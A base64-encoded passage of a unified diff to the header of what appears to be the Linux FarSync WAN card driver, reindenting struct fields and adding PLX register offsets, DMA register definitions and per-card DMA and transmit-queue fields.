MCA9PiBpbml0aWFsaXNpbmcsIDB4MDEgPT4gcnVubmluZywKKwkJCQkgKiAweEZGID0+IGhhbHRl ZAorCQkJCSAqLwogCi0gICAgICAgIHU4ICB0YXNrU3RhdHVzOyAgICAgICAgIC8qIDB4MDAgPT4g aW5pdGlhbGlzaW5nLCAweDAxID0+IHJ1bm5pbmcsCi0gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAqIDB4RkYgPT4gaGFsdGVkCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAqLworCXU4IGludGVycnVwdEhhbmRzaGFrZTsJLyogU2V0IHRvIDB4MDEgYnkgYWRhcHRlciB0 byBzaWduYWwgaW50ZXJydXB0LAorCQkJCSAqIHNldCB0byAweEVFIGJ5IGhvc3QgdG8gYWNrbm93 bGVkZ2UgaW50ZXJydXB0CisJCQkJICovCiAKLSAgICAgICAgdTggIGludGVycnVwdEhhbmRzaGFr ZTsgLyogU2V0IHRvIDB4MDEgYnkgYWRhcHRlciB0byBzaWduYWwgaW50ZXJydXB0LAotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBzZXQgdG8gMHhFRSBieSBob3N0IHRvIGFja25v d2xlZGdlIGludGVycnVwdAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwl1 MTYgc21jVmVyc2lvbjsJCS8qIE11c3QgbWF0Y2ggU01DX1ZFUlNJT04gKi8KIAotICAgICAgICB1 MTYgc21jVmVyc2lvbjsgICAgICAgICAvKiBNdXN0IG1hdGNoIFNNQ19WRVJTSU9OICovCisJdTMy IHNtY0Zpcm13YXJlVmVyc2lvbjsJLyogMHhJSVZWUlJCQiB3aGVyZSBJSSA9IHByb2R1Y3QgSUQs IFZWID0gbWFqb3IKKwkJCQkgKiB2ZXJzaW9uLCBSUiA9IHJldmlzaW9uIGFuZCBCQiA9IGJ1aWxk CisJCQkJICovCiAKLSAgICAgICAgdTMyIHNtY0Zpcm13YXJlVmVyc2lvbjsgLyogMHhJSVZWUlJC QiB3aGVyZSBJSSA9IHByb2R1Y3QgSUQsIFZWID0gbWFqb3IKLSAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICogdmVyc2lvbiwgUlIgPSByZXZpc2lvbiBhbmQgQkIgPSBidWlsZAotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwl1MTYgdHhhX2RvbmU7CQkvKiBPYnNv bGV0ZSBjb21wbGV0aW9uIGZsYWdzICovCisJdTE2IHJ4YV9kb25lOworCXUxNiB0eGJfZG9uZTsK Kwl1MTYgcnhiX2RvbmU7CisJdTE2IHR4Y19kb25lOworCXUxNiByeGNfZG9uZTsKKwl1MTYgdHhk X2RvbmU7CisJdTE2IHJ4ZF9kb25lOwogCi0gICAgICAgIHUxNiB0eGFfZG9uZTsgICAgICAgICAg IC8qIE9ic29sZXRlIGNvbXBsZXRpb24gZmxhZ3MgKi8KLSAgICAgICAgdTE2IHJ4YV9kb25lOwot ICAgICAgICB1MTYgdHhiX2RvbmU7Ci0gICAgICAgIHUxNiByeGJfZG9uZTsKLSAgICAgICAgdTE2 IHR4Y19kb25lOwotICAgICAgICB1MTYgcnhjX2RvbmU7Ci0gICAgICAgIHUxNiB0eGRfZG9uZTsK LSAgICAgICAgdTE2IHJ4ZF9kb25lOworCXUxNiBtYWlsYm94WzRdOwkJLyogRGlhZ25vc3RpY3Mg bWFpbGJveC4gTm90IHVzZWQgKi8KIAotICAgICAgICB1MTYgbWFpbGJveFs0XTsgICAgICAgICAv KiBEaWFnbm9zdGljcyBtYWlsYm94LiBOb3QgdXNlZCAqLworCXN0cnVjdCBjaXJidWZmIGludGVy cnVwdEV2ZW50OwkvKiBpbnRlcnJ1cHQgY2F1c2VzICovCiAKLSAgICAgICAgc3RydWN0IGNpcmJ1 ZmYgaW50ZXJydXB0RXZlbnQ7ICAvKiBpbnRlcnJ1cHQgY2F1c2VzICovCisJdTMyIHYyNElwU3Rz W0ZTVF9NQVhfUE9SVFNdOwkvKiBWLjI0IGNvbnRyb2wgaW5wdXQgc3RhdHVzICovCisJdTMyIHYy NE9wU3RzW0ZTVF9NQVhfUE9SVFNdOwkvKiBWLjI0IGNvbnRyb2wgb3V0cHV0IHN0YXR1cyAqLwog Ci0gICAgICAgIHUzMiB2MjRJcFN0c1tGU1RfTUFYX1BPUlRTXTsgICAgLyogVi4yNCBjb250cm9s IGlucHV0IHN0YXR1cyAqLwotICAgICAgICB1MzIgdjI0T3BTdHNbRlNUX01BWF9QT1JUU107ICAg IC8qIFYuMjQgY29udHJvbCBvdXRwdXQgc3RhdHVzICovCisJc3RydWN0IHBvcnRfY2ZnIHBvcnRD b25maWdbRlNUX01BWF9QT1JUU107CiAKLSAgICAgICAgc3RydWN0IHBvcnRfY2ZnIHBvcnRDb25m aWdbRlNUX01BWF9QT1JUU107CisJdTE2IGNsb2NrU3RhdHVzW0ZTVF9NQVhfUE9SVFNdOwkvKiBs c2I6IDA9PiBwcmVzZW50LCAxPT4gYWJzZW50ICovCiAKLSAgICAgICAgdTE2IGNsb2NrU3RhdHVz W0ZTVF9NQVhfUE9SVFNdOyAvKiBsc2I6IDA9PiBwcmVzZW50LCAxPT4gYWJzZW50ICovCisJdTE2 IGNhYmxlU3RhdHVzOwkvKiBsc2I6IDA9PiBwcmVzZW50LCAxPT4gYWJzZW50ICovCiAKLSAgICAg ICAgdTE2IGNhYmxlU3RhdHVzOyAgICAgICAgICAgICAgICAvKiBsc2I6IDA9PiBwcmVzZW50LCAx PT4gYWJzZW50ICovCisJdTE2IHR4RGVzY3JJbmRleFtGU1RfTUFYX1BPUlRTXTsJLyogdHJhbnNt aXQgZGVzY3JpcHRvciByaW5nIGluZGV4ICovCisJdTE2IHJ4RGVzY3JJbmRleFtGU1RfTUFYX1BP UlRTXTsJLyogcmVjZWl2ZSBkZXNjcmlwdG9yIHJpbmcgaW5kZXggKi8KIAotICAgICAgICB1MTYg dHhEZXNjckluZGV4W0ZTVF9NQVhfUE9SVFNdOyAvKiB0cmFuc21pdCBkZXNjcmlwdG9yIHJpbmcg aW5kZXggKi8KLSAgICAgICAgdTE2IHJ4RGVzY3JJbmRleFtGU1RfTUFYX1BPUlRTXTsgLyogcmVj ZWl2ZSBkZXNjcmlwdG9yIHJpbmcgaW5kZXggKi8KKwl1MTYgcG9ydE1haWxib3hbRlNUX01BWF9Q T1JUU11bMl07CS8qIGNvbW1hbmQsIG1vZGlmaWVyICovCisJdTE2IGNhcmRNYWlsYm94WzRdOwkv KiBOb3QgdXNlZCAqLwogCi0gICAgICAgIHUxNiBwb3J0TWFpbGJveFtGU1RfTUFYX1BPUlRTXVsy XTsgICAgICAvKiBjb21tYW5kLCBtb2RpZmllciAqLwotICAgICAgICB1MTYgY2FyZE1haWxib3hb NF07ICAgICAgICAgICAgICAgICAgICAgLyogTm90IHVzZWQgKi8KKwkvKiBOdW1iZXIgb2YgdGlt ZXMgdGhlIGNhcmQgdGhpbmtzIHRoZSBob3N0IGhhcworCSAqIG1pc3NlZCBhbiBpbnRlcnJ1cHQg Ynkgbm90IGFja25vd2xlZGdpbmcKKwkgKiB3aXRoaW4gMm1TIChJIGd1ZXNzIE5UIGhhcyBwcm9i bGVtcykKKwkgKi8KKwl1MzIgaW50ZXJydXB0UmV0cnlDb3VudDsKIAotICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAvKiBOdW1iZXIgb2YgdGltZXMgdGhhdCBjYXJkIHRoaW5rcyB0aGUg aG9zdCBoYXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogbWlzc2VkIGFuIGlu dGVycnVwdCBieSBub3QgYWNrbm93bGVkZ2luZwotICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgKiB3aXRoaW4gMm1TIChJIGd1ZXNzIE5UIGhhcyBwcm9ibGVtcykKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICovCi0gICAgICAgIHUzMiBpbnRlcnJ1cHRSZXRyeUNvdW50 OworCS8qIERyaXZlciBwcml2YXRlIGRhdGEgdXNlZCBhcyBhbiBJRC4gV2UnbGwgbm90CisJICog dXNlIHRoaXMgYXMgSSdkIHJhdGhlciBrZWVwIHN1Y2ggdGhpbmdzCisJICogaW4gbWFpbiBtZW1v cnkgcmF0aGVyIHRoYW4gb24gdGhlIFBDSSBidXMKKwkgKi8KKwl1MzIgcG9ydEhhbmRsZVtGU1Rf TUFYX1BPUlRTXTsKIAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBEcml2ZXIg cHJpdmF0ZSBkYXRhIHVzZWQgYXMgYW4gSUQuIFdlJ2xsIG5vdAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKiB1c2UgdGhpcyBvbiBMaW51eCBJJ2QgcmF0aGVyIGtlZXAgc3VjaCB0 aGluZ3MKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogaW4gbWFpbiBtZW1vcnkg cmF0aGVyIHRoYW4gb24gdGhlIFBDSSBidXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICovCi0gICAgICAgIHUzMiBwb3J0SGFuZGxlW0ZTVF9NQVhfUE9SVFNdOworCS8qIENvdW50 IG9mIFR4IHVuZGVyZmxvd3MgZm9yIHN0YXRzICovCisJdTMyIHRyYW5zbWl0QnVmZmVyVW5kZXJm bG93W0ZTVF9NQVhfUE9SVFNdOwogCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8q IENvdW50IG9mIFR4IHVuZGVyZmxvd3MgZm9yIHN0YXRzICovCi0gICAgICAgIHUzMiB0cmFuc21p dEJ1ZmZlclVuZGVyZmxvd1tGU1RfTUFYX1BPUlRTXTsKKwkvKiBEZWJvdW5jZWQgVi4yNCBjb250 cm9sIGlucHV0IHN0YXR1cyAqLworCXUzMiB2MjREZWJvdW5jZWRTdHNbRlNUX01BWF9QT1JUU107 CiAKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogRGVib3VuY2VkIFYuMjQgY29u dHJvbCBpbnB1dCBzdGF0dXMgKi8KLSAgICAgICAgdTMyIHYyNERlYm91bmNlZFN0c1tGU1RfTUFY X1BPUlRTXTsKKwkvKiBBZGFwdGVyIGRlYm91bmNlIHRpbWVycy4gRG9uJ3QgdG91Y2ggKi8KKwl1 MzIgY3RzVGltZXJbRlNUX01BWF9QT1JUU107CisJdTMyIGN0c1RpbWVyUnVuW0ZTVF9NQVhfUE9S VFNdOworCXUzMiBkY2RUaW1lcltGU1RfTUFYX1BPUlRTXTsKKwl1MzIgZGNkVGltZXJSdW5bRlNU X01BWF9QT1JUU107CiAKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogQWRhcHRl ciBkZWJvdW5jZSB0aW1lcnMuIERvbid0IHRvdWNoICovCi0gICAgICAgIHUzMiBjdHNUaW1lcltG U1RfTUFYX1BPUlRTXTsKLSAgICAgICAgdTMyIGN0c1RpbWVyUnVuW0ZTVF9NQVhfUE9SVFNdOwot ICAgICAgICB1MzIgZGNkVGltZXJbRlNUX01BWF9QT1JUU107Ci0gICAgICAgIHUzMiBkY2RUaW1l clJ1bltGU1RfTUFYX1BPUlRTXTsKKwl1MzIgbnVtYmVyT2ZQb3J0czsJLyogTnVtYmVyIG9mIHBv cnRzIGRldGVjdGVkIGF0IHN0YXJ0dXAgKi8KIAotICAgICAgICB1MzIgbnVtYmVyT2ZQb3J0czsg ICAgICAvKiBOdW1iZXIgb2YgcG9ydHMgZGV0ZWN0ZWQgYXQgc3RhcnR1cCAqLworCXUxNiBfcmVz ZXJ2ZWRbNjRdOwogCi0gICAgICAgIHUxNiBfcmVzZXJ2ZWRbNjRdOworCXUxNiBjYXJkTW9kZTsJ CS8qIEJpdC1tYXNrIHRvIGVuYWJsZSBmZWF0dXJlczoKKwkJCQkgKiBCaXQgMDogMSBlbmFibGVz IExFRCBpZGVudGlmeSBtb2RlCisJCQkJICovCiAKLSAgICAgICAgdTE2IGNhcmRNb2RlOyAgICAg ICAgICAgLyogQml0LW1hc2sgdG8gZW5hYmxlIGZlYXR1cmVzOgotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKiBCaXQgMDogMSBlbmFibGVzIExFRCBpZGVudGlmeSBtb2RlCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLworCXUxNiBwb3J0U2NoZWR1bGVPZmZzZXQ7 CiAKLSAgICAgICAgdTE2IHBvcnRTY2hlZHVsZU9mZnNldDsKKwlzdHJ1Y3Qgc3VfY29uZmlnIHN1 Q29uZmlnOwkvKiBURTEgQml0cyAqLworCXN0cnVjdCBzdV9zdGF0dXMgc3VTdGF0dXM7CiAKLSAg ICAgICAgdTMyIGVuZE9mU21jU2lnbmF0dXJlOyAgLyogZW5kT2ZTbWNTaWduYXR1cmUgTVVTVCBi ZSB0aGUgbGFzdCBtZW1iZXIgb2YKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICog dGhlIHN0cnVjdHVyZSBhbmQgbWFya3MgdGhlIGVuZCBvZiB0aGUgc2hhcmVkCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAqIG1lbW9yeS4gQWRhcHRlciBjb2RlIGluaXRpYWxpemVz IGl0cyB2YWx1ZSBhcwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBFTkRfU0lH LgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwl1MzIgZW5kT2ZTbWNTaWdu YXR1cmU7CS8qIGVuZE9mU21jU2lnbmF0dXJlIE1VU1QgYmUgdGhlIGxhc3QgbWVtYmVyIG9mCisJ CQkJICogdGhlIHN0cnVjdHVyZSBhbmQgbWFya3MgdGhlIGVuZCBvZiBzaGFyZWQKKwkJCQkgKiBt ZW1vcnkuIEFkYXB0ZXIgY29kZSBpbml0aWFsaXplcyBpdCBhcworCQkJCSAqIEVORF9TSUcuCisJ CQkJICovCiB9OwogCiAvKiBlbmRPZlNtY1NpZ25hdHVyZSB2YWx1ZSAqLwogI2RlZmluZSBFTkRf U0lHICAgICAgICAgICAgICAgICAweDEyMzQ1Njc4CiAKIC8qIE1haWxib3ggdmFsdWVzLiAocG9y dE1haWxib3gpICovCi0jZGVmaW5lIE5PUCAgICAgICAgICAgICAwICAgICAgIC8qIE5vIG9wZXJh dGlvbiAqLwotI2RlZmluZSBBQ0sgICAgICAgICAgICAgMSAgICAgICAvKiBQb3NpdGl2ZSBhY2tu b3dsZWRnZW1lbnQgdG8gUEMgZHJpdmVyICovCi0jZGVmaW5lIE5BSyAgICAgICAgICAgICAyICAg ICAgIC8qIE5lZ2F0aXZlIGFja25vd2xlZGdlbWVudCB0byBQQyBkcml2ZXIgKi8KLSNkZWZpbmUg U1RBUlRQT1JUICAgICAgIDMgICAgICAgLyogU3RhcnQgYW4gSERMQyBwb3J0ICovCi0jZGVmaW5l IFNUT1BQT1JUICAgICAgICA0ICAgICAgIC8qIFN0b3AgYW4gSERMQyBwb3J0ICovCi0jZGVmaW5l IEFCT1JUVFggICAgICAgICA1ICAgICAgIC8qIEFib3J0IHRoZSB0cmFuc21pdHRlciBmb3IgYSBw b3J0ICovCi0jZGVmaW5lIFNFVFYyNE8gICAgICAgICA2ICAgICAgIC8qIFNldCBWMjQgb3V0cHV0 cyAqLworI2RlZmluZSBOT1AgICAgICAgICAgICAgMAkvKiBObyBvcGVyYXRpb24gKi8KKyNkZWZp bmUgQUNLICAgICAgICAgICAgIDEJLyogUG9zaXRpdmUgYWNrbm93bGVkZ2VtZW50IHRvIFBDIGRy aXZlciAqLworI2RlZmluZSBOQUsgICAgICAgICAgICAgMgkvKiBOZWdhdGl2ZSBhY2tub3dsZWRn ZW1lbnQgdG8gUEMgZHJpdmVyICovCisjZGVmaW5lIFNUQVJUUE9SVCAgICAgICAzCS8qIFN0YXJ0 IGFuIEhETEMgcG9ydCAqLworI2RlZmluZSBTVE9QUE9SVCAgICAgICAgNAkvKiBTdG9wIGFuIEhE TEMgcG9ydCAqLworI2RlZmluZSBBQk9SVFRYICAgICAgICAgNQkvKiBBYm9ydCB0aGUgdHJhbnNt aXR0ZXIgZm9yIGEgcG9ydCAqLworI2RlZmluZSBTRVRWMjRPICAgICAgICAgNgkvKiBTZXQgVjI0 IG91dHB1dHMgKi8KKworLyogUExYIENoaXAgUmVnaXN0ZXIgT2Zmc2V0cyAqLworI2RlZmluZSBD TlRSTF85MDUyICAgICAgMHg1MAkvKiBDb250cm9sIFJlZ2lzdGVyICovCisjZGVmaW5lIENOVFJM XzkwNTQgICAgICAweDZjCS8qIENvbnRyb2wgUmVnaXN0ZXIgKi8KIAorI2RlZmluZSBJTlRDU1Jf OTA1MiAgICAgMHg0YwkvKiBJbnRlcnJ1cHQgY29udHJvbC9zdGF0dXMgcmVnaXN0ZXIgKi8KKyNk ZWZpbmUgSU5UQ1NSXzkwNTQgICAgIDB4NjgJLyogSW50ZXJydXB0IGNvbnRyb2wvc3RhdHVzIHJl Z2lzdGVyICovCisKKy8qIDkwNTQgRE1BIFJlZ2lzdGVycyAqLworLyoKKyAqIE5vdGUgdGhhdCB3 ZSB3aWxsIGJlIHVzaW5nIERNQSBDaGFubmVsIDAgZm9yIGNvcHlpbmcgcnggZGF0YQorICogYW5k IENoYW5uZWwgMSBmb3IgY29weWluZyB0eCBkYXRhCisgKi8KKyNkZWZpbmUgRE1BTU9ERTAgICAg ICAgIDB4ODAKKyNkZWZpbmUgRE1BUEFEUjAgICAgICAgIDB4ODQKKyNkZWZpbmUgRE1BTEFEUjAg ICAgICAgIDB4ODgKKyNkZWZpbmUgRE1BU0laMCAgICAgICAgIDB4OGMKKyNkZWZpbmUgRE1BRFBS MCAgICAgICAgIDB4OTAKKyNkZWZpbmUgRE1BTU9ERTEgICAgICAgIDB4OTQKKyNkZWZpbmUgRE1B UEFEUjEgICAgICAgIDB4OTgKKyNkZWZpbmUgRE1BTEFEUjEgICAgICAgIDB4OWMKKyNkZWZpbmUg RE1BU0laMSAgICAgICAgIDB4YTAKKyNkZWZpbmUgRE1BRFBSMSAgICAgICAgIDB4YTQKKyNkZWZp bmUgRE1BQ1NSMCAgICAgICAgIDB4YTgKKyNkZWZpbmUgRE1BQ1NSMSAgICAgICAgIDB4YTkKKyNk ZWZpbmUgRE1BQVJCICAgICAgICAgIDB4YWMKKyNkZWZpbmUgRE1BVEhSICAgICAgICAgIDB4YjAK KyNkZWZpbmUgRE1BREFDMCAgICAgICAgIDB4YjQKKyNkZWZpbmUgRE1BREFDMSAgICAgICAgIDB4 YjgKKyNkZWZpbmUgRE1BTUFSQlIgICAgICAgIDB4YWMKKworI2RlZmluZSBGU1RfTUlOX0RNQV9M RU4gNjQKKyNkZWZpbmUgRlNUX1JYX0RNQV9JTlQgIDB4MDEKKyNkZWZpbmUgRlNUX1RYX0RNQV9J TlQgIDB4MDIKKyNkZWZpbmUgRlNUX0NBUkRfSU5UICAgIDB4MDQKIAogLyogTGFyZ2VyIGJ1ZmZl cnMgYXJlIHBvc2l0aW9uZWQgaW4gbWVtb3J5IGF0IG9mZnNldCBCRk1fQkFTRSAqLwogc3RydWN0 IGJ1Zl93aW5kb3cgewotICAgICAgICB1OCB0eEJ1ZmZlcltGU1RfTUFYX1BPUlRTXVtOVU1fVFhf QlVGRkVSXVtMRU5fVFhfQlVGRkVSXTsKLSAgICAgICAgdTggcnhCdWZmZXJbRlNUX01BWF9QT1JU U11bTlVNX1JYX0JVRkZFUl1bTEVOX1JYX0JVRkZFUl07CisJdTggdHhCdWZmZXJbRlNUX01BWF9Q T1JUU11bTlVNX1RYX0JVRkZFUl1bTEVOX1RYX0JVRkZFUl07CisJdTggcnhCdWZmZXJbRlNUX01B WF9QT1JUU11bTlVNX1JYX0JVRkZFUl1bTEVOX1JYX0JVRkZFUl07CiB9OwogCiAvKiBDYWxjdWxh dGUgb2Zmc2V0IG9mIGEgYnVmZmVyIG9iamVjdCB3aXRoaW4gdGhlIHNoYXJlZCBtZW1vcnkgd2lu ZG93ICovCi0jZGVmaW5lIEJVRl9PRkZTRVQoWCkgICBvZmZzZXRvZihzdHJ1Y3QgYnVmX3dpbmRv dywgWCkKKyNkZWZpbmUgQlVGX09GRlNFVChYKSAgICgodW5zaWduZWQgaW50KSYoKChzdHJ1Y3Qg YnVmX3dpbmRvdyAqKUJGTV9CQVNFKS0+WCkpCiAKICNwcmFnbWEgcGFjaygpCiAKLQogLyogICAg ICBEZXZpY2UgZHJpdmVyIHByaXZhdGUgaW5mb3JtYXRpb24KICAqICAgICAgPT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09CiAgKi8KIC8qICAgICAgUGVyIHBvcnQgKGxpbmUgb3IgY2hh bm5lbCkgaW5mb3JtYXRpb24KICAqLwogc3RydWN0IGZzdF9wb3J0X2luZm8gewotICAgICAgICBz dHJ1Y3QgbmV0X2RldmljZSAgICAgICpkZXY7Ci0gICAgICAgIHN0cnVjdCBmc3RfY2FyZF9pbmZv ICAgKmNhcmQ7ICAgLyogQ2FyZCB3ZSdyZSBhc3NvY2lhdGVkIHdpdGggKi8KLSAgICAgICAgaW50 ICAgICAgICAgICAgICAgICAgICAgaW5kZXg7ICAvKiBQb3J0IGluZGV4IG9uIHRoZSBjYXJkICov Ci0gICAgICAgIGludCAgICAgICAgICAgICAgICAgICAgIGh3aWY7ICAgLyogTGluZSBoYXJkd2Fy ZSAobGluZUludGVyZmFjZSBjb3B5KSAqLwotICAgICAgICBpbnQgICAgICAgICAgICAgICAgICAg ICBydW47ICAgIC8qIFBvcnQgaXMgcnVubmluZyAqLwotICAgICAgICBpbnQgICAgICAgICAgICAg ICAgICAgICByeHBvczsgIC8qIE5leHQgUnggYnVmZmVyIHRvIHVzZSAqLwotICAgICAgICBpbnQg ICAgICAgICAgICAgICAgICAgICB0eHBvczsgIC8qIE5leHQgVHggYnVmZmVyIHRvIHVzZSAqLwot ICAgICAgICBpbnQgICAgICAgICAgICAgICAgICAgICB0eGlwb3M7IC8qIE5leHQgVHggYnVmZmVy IHRvIGNoZWNrIGZvciBmcmVlICovCi0gICAgICAgIGludCAgICAgICAgICAgICAgICAgICAgIHR4 Y250OyAgLyogQ291bnQgb2YgVHggYnVmZmVycyBpbiB1c2UgKi8KKyAgICAgICAgc3RydWN0IG5l dF9kZXZpY2UgKmRldjsgLyogRGV2aWNlIHN0cnVjdCAtIG11c3QgYmUgZmlyc3QgKi8KKwlzdHJ1 Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsJLyogQ2FyZCB3ZSdyZSBhc3NvY2lhdGVkIHdpdGggKi8K KwlpbnQgaW5kZXg7CQkvKiBQb3J0IGluZGV4IG9uIHRoZSBjYXJkICovCisJaW50IGh3aWY7CQkv KiBMaW5lIGhhcmR3YXJlIChsaW5lSW50ZXJmYWNlIGNvcHkpICovCisJaW50IHJ1bjsJCS8qIFBv cnQgaXMgcnVubmluZyAqLworCWludCBtb2RlOwkJLyogTm9ybWFsIG9yIEZhclN5bmMgcmF3ICov CisJaW50IHJ4cG9zOwkJLyogTmV4dCBSeCBidWZmZXIgdG8gdXNlICovCisJaW50IHR4cG9zOwkJ LyogTmV4dCBUeCBidWZmZXIgdG8gdXNlICovCisJaW50IHR4aXBvczsJCS8qIE5leHQgVHggYnVm ZmVyIHRvIGNoZWNrIGZvciBmcmVlICovCisJaW50IHN0YXJ0OwkJLyogSW5kaWNhdGlvbiBvZiBz dGFydC9zdG9wIHRvIG5ldHdvcmsgKi8KKwkvKgorCSAqIEEgc2l4dGVlbiBlbnRyeSB0cmFuc21p dCBxdWV1ZQorCSAqLworCWludCB0eHFzOwkJLyogaW5kZXggdG8gZ2V0IG5leHQgYnVmZmVyIHRv IHR4ICovCisJaW50IHR4cWU7CQkvKiBpbmRleCB0byBxdWV1ZSBuZXh0IHBhY2tldCAqLworCXN0 cnVjdCBza19idWZmICp0eHFbRlNUX1RYUV9ERVBUSF07CS8qIFRoZSBxdWV1ZSAqLworCWludCBy eHFkZXB0aDsKIH07CiAKIC8qICAgICAgUGVyIGNhcmQgaW5mb3JtYXRpb24KICAqLwogc3RydWN0 IGZzdF9jYXJkX2luZm8gewotICAgICAgICBjaGFyICAgICAgICAgICptZW07ICAgICAgICAgICAg IC8qIENhcmQgbWVtb3J5IG1hcHBlZCB0byBrZXJuZWwgc3BhY2UgKi8KLSAgICAgICAgY2hhciAg ICAgICAgICAqY3RsbWVtOyAgICAgICAgICAvKiBDb250cm9sIG1lbW9yeSBmb3IgUENJIGNhcmRz ICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHBoeXNfbWVtOyAgICAgICAgLyogUGh5c2ljYWwg bWVtb3J5IHdpbmRvdyBhZGRyZXNzICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHBoeXNfY3Rs bWVtOyAgICAgLyogUGh5c2ljYWwgY29udHJvbCBtZW1vcnkgYWRkcmVzcyAqLwotICAgICAgICB1 bnNpZ25lZCBpbnQgICBpcnE7ICAgICAgICAgICAgIC8qIEludGVycnVwdCByZXF1ZXN0IGxpbmUg bnVtYmVyICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIG5wb3J0czsgICAgICAgICAgLyogTnVt YmVyIG9mIHNlcmlhbCBwb3J0cyAqLwotICAgICAgICB1bnNpZ25lZCBpbnQgICB0eXBlOyAgICAg ICAgICAgIC8qIFR5cGUgaW5kZXggb2YgY2FyZCAqLwotICAgICAgICB1bnNpZ25lZCBpbnQgICBz dGF0ZTsgICAgICAgICAgIC8qIFN0YXRlIG9mIGNhcmQgKi8KLSAgICAgICAgc3BpbmxvY2tfdCAg ICAgY2FyZF9sb2NrOyAgICAgICAvKiBMb2NrIGZvciBTTVAgYWNjZXNzICovCi0gICAgICAgIHVu c2lnbmVkIHNob3J0IHBjaV9jb25mOyAgICAgICAgLyogUENJIGNhcmQgY29uZmlnIGluIEkvTyBz cGFjZSAqLwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIFBlciBw b3J0IGluZm8gKi8KLSAgICAgICAgc3RydWN0IGZzdF9wb3J0X2luZm8gcG9ydHNbIEZTVF9NQVhf UE9SVFMgXTsKKwljaGFyICptZW07CQkvKiBDYXJkIG1lbW9yeSBtYXBwZWQgdG8ga2VybmVsIHNw YWNlICovCisJY2hhciAqY3RsbWVtOwkJLyogQ29udHJvbCBtZW1vcnkgZm9yIFBDSSBjYXJkcyAq LworCXVuc2lnbmVkIGludCBwaHlzX21lbTsJLyogUGh5c2ljYWwgbWVtb3J5IHdpbmRvdyBhZGRy ZXNzICovCisJdW5zaWduZWQgaW50IHBoeXNfY3RsbWVtOwkvKiBQaHlzaWNhbCBjb250cm9sIG1l bW9yeSBhZGRyZXNzICovCisJdW5zaWduZWQgaW50IGlycTsJLyogSW50ZXJydXB0IHJlcXVlc3Qg bGluZSBudW1iZXIgKi8KKwl1bnNpZ25lZCBpbnQgbnBvcnRzOwkvKiBOdW1iZXIgb2Ygc2VyaWFs IHBvcnRzICovCisJdW5zaWduZWQgaW50IHR5cGU7CS8qIFR5cGUgaW5kZXggb2YgY2FyZCAqLwor CXVuc2lnbmVkIGludCBzdGF0ZTsJLyogU3RhdGUgb2YgY2FyZCAqLworCXNwaW5sb2NrX3QgY2Fy ZF9sb2NrOwkvKiBMb2NrIGZvciBTTVAgYWNjZXNzICovCisJdW5zaWduZWQgc2hvcnQgcGNpX2Nv bmY7CS8qIFBDSSBjYXJkIGNvbmZpZyBpbiBJL08gc3BhY2UgKi8KKwkvKiBQZXIgcG9ydCBpbmZv ICovCisJc3RydWN0IGZzdF9wb3J0X2luZm8gcG9ydHNbRlNUX01BWF9QT1JUU107CisJc3RydWN0 IHBjaV9kZXYgKmRldmljZTsJLyogSW5mb3JtYXRpb24gYWJvdXQgdGhlIHBjaSBkZXZpY2UgKi8K KwlpbnQgY2FyZF9ubzsJCS8qIEluc3Qgb2YgdGhlIGNhcmQgb24gdGhlIHN5c3RlbSAqLworCWlu dCBmYW1pbHk7CQkvKiBUeFAgb3IgVHhVICovCisJaW50IGRtYXJ4X2luX3Byb2dyZXNzOworCWlu dCBkbWF0eF9pbl9wcm9ncmVzczsKKwl1bnNpZ25lZCBsb25nIGludF9jb3VudDsKKwl1bnNpZ25l ZCBsb25nIGludF90aW1lX2F2ZTsKKwl2b2lkICpyeF9kbWFfaGFuZGxlX2hvc3Q7CisJZG1hX2Fk ZHJfdCByeF9kbWFfaGFuZGxlX2NhcmQ7CisJdm9pZCAqdHhfZG1hX2hhbmRsZV9ob3N0OworCWRt YV9hZGRyX3QgdHhfZG1hX2hhbmRsZV9jYXJkOworCXN0cnVjdCBza19idWZmICpkbWFfc2tiX3J4 OworCXN0cnVjdCBmc3RfcG9ydF9pbmZvICpkbWFfcG9ydF9yeDsKKwlzdHJ1Y3QgZnN0X3BvcnRf aW5mbyAqZG1hX3BvcnRfdHg7CisJaW50IGRtYV9sZW5fcng7CisJaW50IGRtYV9sZW5fdHg7CisJ aW50IGRtYV90eHBvczsKKwlpbnQgZG1hX3J4cG9zOwogfTsKIAogLyogQ29udmVydCBhbiBIRExD IGRldmljZSBwb2ludGVyIGludG8gYSBwb3J0IGluZm8gcG9pbnRlciBhbmQgc2ltaWxhciAqLwpA QCAtMzgwLDcgKzQ5OCw2IEBACiAjZGVmaW5lIEZTVF9XUlcoQyxFLFcpICB3cml0ZXcgKChXKSwg KEMpLT5tZW0gKyBXSU5fT0ZGU0VUKEUpKQogI2RlZmluZSBGU1RfV1JMKEMsRSxMKSAgd3JpdGVs 